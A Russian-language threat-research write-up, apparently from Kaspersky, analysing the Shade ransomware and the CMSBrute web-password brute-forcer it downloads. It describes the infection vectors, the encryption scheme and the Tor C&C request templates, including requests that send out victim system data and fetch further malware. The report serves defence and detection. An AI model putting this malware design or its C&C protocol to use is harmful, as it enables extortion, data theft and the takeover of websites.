Шифровальщик Shade: двойная угроза
Семейство троянцев-вымогателей, шифрующих файлы и добавляющих к ним расширения «.xtbl» и «.ytbl», появилось в конце 2014 – начале 2015 года и довольно быстро заняло устойчивую позицию в тройке наиболее распространенных в России шифровальщиков (наравне с
Trojan-Ransom.Win32.Cryakl и
Trojan-Ransom.BAT.Scatter). По классификации «Лаборатории Касперского» эта угроза получила вердикт Trojan-Ransom.Win32.Shade. «Авторское» название данного шифровальщика неизвестно; другие антивирусные компании детектируют его под именами Trojan.Encoder.858, Ransom:Win32/Troldesh.
Эволюции троянца практически не наблюдается: меняются лишь формат имени зашифрованного файла, адреса C&C и набор ключей RSA.
Нам известны два основных способа доставки данного зловреда на компьютер жертвы – спам-рассылки и эксплойт-киты (в частности, Nuclear EK).
В первом случае жертва получает письмо, в которое вложен исполняемый вредоносный файл. Заражение системы происходит после попытки открыть вложение. При распространении Trojan-Ransom.Win32.Shade использовались следующие имена файлов:
- doc_dlea podpisi.com
- doc_dlea podpisi.rar
- documenti_589965465_documenti.com
- documenti_589965465_documenti.rar
- documenti_589965465_doc.scr
- doc_dlea podpisi.rar
- не подтвержден 308853.scr
- documenti dlea podpisi 05.08.2015.scr.exe
- akt sverki za 17082015.scr
Отметим, что имя файла меняется при каждой волне рассылки, и возможные варианты не ограничиваются перечисленными выше.
Второй способ распространения (эксплойт-кит) более опасен, поскольку заражение происходит без участия пользователя, когда жертва посещает скомпрометированный веб-сайт. Это может быть как сайт злоумышленников, так и вполне легальный, но взломанный ресурс. Чаще всего пользователь не знает, что сайт представляет собой какую-то опасность. Вредоносный код на сайте эксплуатирует уязвимость в браузере или его плагинах, после чего в скрытном режиме в систему устанавливается целевой троянец. В этом случае, в отличие от спам-письма, от жертвы даже не требуется запускать исполняемый файл.
После того как Trojan-Ransom.Win32.Shade попал в систему, он соединяется с C&C, располагающимся в сети Tor, рапортует о заражении и запрашивает открытый ключ RSA-3072, который впоследствии использует при шифровании файлов (как именно, рассмотрим ниже). Если вдруг соединение не удалось установить, зловред выбирает один из 100 открытых ключей, содержащихся в его теле как раз для такого случая.
Затем троянец приступает к шифрованию файлов. При поиске объектов шифрования он пользуется статическим списком расширений, представленным на скриншоте.
Когда шифрование завершено, на рабочий стол устанавливается устрашающая картинка:
Требования выкупа зловред оставляет в файлах README1.txt, …, README10.txt. Их содержимое всегда имеет один и тот же вид:
Однако, в отличие от большинства других шифровальщиков, на этом Trojan-Ransom.Win32.Shade не останавливается. Он не завершает свой процесс, а запускает бесконечный цикл, в котором запрашивает от C&C список адресов вредоносного ПО, а затем скачивает и устанавливает это ПО в систему – такой функционал характерен для ботов-загрузчиков. Нами были выявлены факты скачивания представителей семейств:
- Trojan.Win32.CMSBrute (о нём подробнее мы расскажем ниже).
- Trojan.Win32.Muref
- Trojan.Win32.Kovter
- Trojan-Downloader.Win32.Zemot
Код цикла скачивания и ожидания:
В связи с этим очень важно провести полную антивирусную проверку компьютера в случае обнаружения шифровальщика Shade (либо результатов его работы – файлов с расширениями .xtbl, .ytbl). Если не провести лечение, высока вероятность того, что система останется заражена несколькими различными вредоносными программами, скачиваемыми данным шифровальщиком.
Общие черты троянцев семейства Shade
- Написан на C++ с применением STL и собственных классов.
- Статически слинкован с клиентом Tor.
- Использует библиотеки boost (threads), curl, OpenSSL.
- В каждый сэмпл зашит адрес одного сервера C&C, всего в разных образцах были найдены адреса 10 C&C серверов, 8 из которых активны в настоящее время. Все серверы расположены в сети Tor.
- Все строки (вместе с именами импортируемых функций) зашифрованы алгоритмом AES, расшифровываются при старте программы, после чего происходит динамическое заполнение таблицы импорта.
- Перед установкой своих обоев сохраняет старые обои в реестре.
- Обычно упакован UPX и дополнительным упаковщиком, в распакованном виде имеет размер 1817 КБ.
- На зараженном компьютере создает 10 одинаковых файлов README1.txt, … README10.txt с требованиями выкупа на русском и английском языках.
- Для шифрования содержимого каждого файла и имени каждого файла генерируется уникальный 256-битный ключ AES, шифрование осуществляется в режиме CBC с нулевым начальным вектором.
- Содержит 100 публичных ключей RSA-3072 с открытой экспонентой 65537 (всего в разных сэмплах было обнаружено 300 различных публичных ключей).
- Имеет функционал скачивания и запуска вредоносного ПО.
Криптографическая схема.
Генерация id зараженного компьютера
- Троянец получает имя компьютера (comp_name) с помощью API-функции GetComputerName и число процессоров (num_cpu) с помощью API-функции GetSystemInfo;
- на основе серийного номера системного тома вычисляет 32-битную константу и конвертирует в hex-строку (vol_const);
- получает данные о версии ОС (os_version), разделенные символом “;” (например, “5;1;2600;1;Service Pack 3”);
- формирует строку comp_namenum_cpuvol_constos_version;
- вычисляет MD5 от этой строки;
- конвертирует MD5-хэш в hex-строку и берет из нее первые 20 символов. Полученный результат используется в качестве id компьютера.
Получение ключевых данных
После генерации id осуществляется попытка подключиться с C&C серверу, находящемуся в сети Tor, отправить ему id компьютера и в ответ получить публичный RSA-ключ. В случае неуспеха выбирается один из 100 зашитых в троянце публичных RSA-ключей.
Шифрование файлов
Для шифрования файлов применяется алгоритм AES-256 в режиме CBC. Для каждого кодируемого файла генерируется два случайных 256-битных ключа AES: один используется для шифрования содержимого файла, второй – для шифрования имени файла. Данные ключи помещаются в служебную структуру key_data, которая сама шифруется выбранным ключом RSA (занимает 384 байта после зашифрования) и помещается в конец кодируемого файла:
В синтаксисе языка C данную структуру можно записать следующим образом:
Троянец пытается переименовать закодированный файл, выбирая в качестве нового имени результат вычисления
Base64(AES_encrypt(оригинальное имя файла)).xtbl (например,
ArSxrr+acw970LFQw.xtbl), а в случае неуспеха просто дописывает к оригинальному имени файла расширение .ytbl. В более поздних версиях перед расширением .xtbl стал приписываться id зараженного компьютера, например:
ArSxrr+acw970LFQw.043C17E72A1E91C6AE29.xtbl.
Коммуникация с командным сервером
В теле троянца содержится адрес одного сервера C&C. Сами серверы находятся в сети Tor, коммуникация с ними осуществляется с использованием статически прилинкованного к троянцу клиента Tor.
Сэмпл отправляет следующие запросы на C&C сервер:
- Запрос нового публичного ключа RSA:
GET http://<server>.onion/reg.php?i=ID&b=build&v=version&ss=stage
ID – идентификатор зараженного компьютера;
build – идентификатор конкретного сэмпла зловреда;
version – версия зловреда, были встречены версии 1 и 2;
stage обозначает этап шифрования – запрос нового публичного ключа RSA или сообщение о завершении шифрования файлов.
- Сообщение об ошибке:
GET http://<server>.onion/err.php?i=ID&b=build&v=version&err=error
error – base64-закодированное сообщение о произошедшей при шифровании ошибке.
- Сводка о текущей стадии работы шифровальщика:
GET http://<server>.onion/prog.php?i=ID&b=build&v=version&ss=stage&c=count&f=finish
count – текущее количество зашифрованных файлов;
finish – флаг окончания шифрования.
- Информация о системе:
POST http://<server>.onion/sys.php?i=ID&b=build&v=version&ss=stage&c=count&k=key_number&si=info
key_number – номер выбранного ключа RSA (в случае, если ключ не был получен от сервера, а был выбран из содержащихся в теле зловерда);
info – информация, полученная с зараженного компьютера:
- Имя компьютера
- Имя пользователя
- IP-адрес
- Домен компьютера
- Список логических дисков
- Версия ОС Windows
- Список установленного ПО
- Запрос списка URL-адресов, с которых требуется скачать и запустить дополнительное вредоносное ПО:
GET http://<server>.onion/cmd.php?i=ID&b=build&v=version
Распространение шифровальщика
Партнерская программа
Код, который пользователям предлагается отправить по электронной почте злоумышленникам, может иметь вид
ID|0 в случае, если публичный ключ был получен с C&C сервера, или
ID|key_number|build|version в случае, если был выбран один из зашитых в сэмпл публичных ключей RSA с номером
key_number. ID обозначает идентификатор зараженного компьютера, а два числа
build и
version обозначают ID конкретного сэмпла и версию шифровальщика соответственно.
При анализе образцов зловреда нами были обнаружены различные комбинации значений build, адресов почты для связи пользователей со злоумышленниками и адресов C&C. Разным значениям build соответствуют разные почтовые адреса, при этом один и тот же C&C может обслуживать несколько разных сэмплов:
Мы зафиксировали распространение разных сэмплов двух версий шифровальщика. При этом каждому конкретному образцу одной и той же версии зловреда соответствовала уникальная комбинация build-email (ID конкретного сэмпла и адреса для связи со злоумышленниками).
Хотя объявлений о партнерстве найдено не было, на основе этих данных мы можем предположить, что распространение троянца и прием выкупа осуществляются через партнерскую сеть. Вероятно, ID сэмплов (значение build) и разные почтовые адреса соответствуют различным партнерам-распространителям данного вредоносного ПО.
География
Загружаемое вредоносное ПО: троянец-брутфорсер паролей к веб-сайтам
Среди вредоносных программ, которые скачивает Trojan-Ransom.Win32.Shade, встречается троянец-брутфорсер паролей к web-сайтам. По своей внутренней организации брутфорсер очень напоминает самого шифровальщика – наиболее вероятно, он является проектом тех же авторов. Скачиваемый зловред получил вердикт Trojan.Win32.CMSBrute.
Общие черты семейства CMSBrute
- Написан на C++ с применением STL и собственных классов.
- Статически слинкован с клиентом Tor.
- Использует библиотеки boost (threads), curl, OpenSSL.
- В каждый сэмпл зашит адрес одного сервера C&C, всего в разных сэмплах были найдены адреса трех C&C серверов. Все C&C находятся в сети Tor, они отличаются от адресов, встреченных в образцах Trojan-Ransom.Win32.Shade.
- Все строки (вместе с именами импортируемых функций) зашифрованы алгоритмом AES, расшифровываются при старте программы, после чего происходит динамическое заполнение таблицы импорта.
- Обычно упакован UPX, в распакованном виде имеет размер 2080-2083 КБ.
- Копирует себя в одну из директорий диска C с именем csrss.exe.
- Скачивает дополнительные dll-плагины. Плагины содержат код для определения установленной системы управления контентом (CMS) на атакуемом веб-сайте, поиска админ-панели и подбора паролей. Были обнаружены плагины, поддерживающие сайты на основе Joomla, WordPress и DataLife Engine.
Коммуникация с командным сервером
В каждом образце Trojan.Win32.CMSBrute содержится адрес одного сервера C&C. Серверы находятся в сети Tor, коммуникация с ними осуществляется с использованием статически прилинкованного к троянцу клиента Tor.
Сэмпл отправляет следующие запросы на C&C сервер:
- Регистрация нового бота:
GET http://<server>.onion/reg.php?n=ID&b=build&v=version&sf=stage
ID – идентификатор зараженного компьютера; вычисляется по алгоритму, незначительно отличающемуся от такового в шифровальщике Shade;
build – идентификатор конкретного сэмпла зловреда; был встречен только build 1;
version – версия зловреда; была встречена только версия 1;
stage – этап работы троянца.
- Запрос на получение URL-адресов для скачивания или обновления плагинов-dll
GET http://<server>.onion/upd.php?n=ID&b=build&v=version&p=plugins
- Запрос задания на определение CMS на сайте и проверки логинов и паролей:
GET http://<server>.onion/task.php?n=ID&b=build&v=version&p=plugins
plugins – версии установленных плагинов-dll.
Ответ от сервера приходит в формате json и содержит адреса атакуемых сайтов и словарь для подбора паролей.
- Отправка отчета о брутфорсе:
POST http://<server>.onion/rep.php?n=ID&b=build&v=version&rep=report
report – json-строка, содержащая отчет о найденных СMS на веб-сайте и подобранных логинах и паролях от админ-панели.
Рекомендации
В случае Trojan-Ransom.Win32.Shade актуальны все ставшие уже традиционными советы по противодействию шифровальщикам. Подробные инструкции можно найти по адресам:
Защита от вредоносной программы Trojan-Ransom.Win32.Shade
Рекомендации по защите компьютера от программ-шифровальщиков
Если компьютер уже пострадал от данного троянца, чрезвычайно важно провести полное сканирование и лечение антивирусным продуктом, т.к. Trojan-Ransom.Win32.Shade скачивает и устанавливает в скомпрометированную систему вредоносное ПО нескольких различных семейств, указанных в начале статьи.
Источник: Шифровальщик Shade: двойная угроза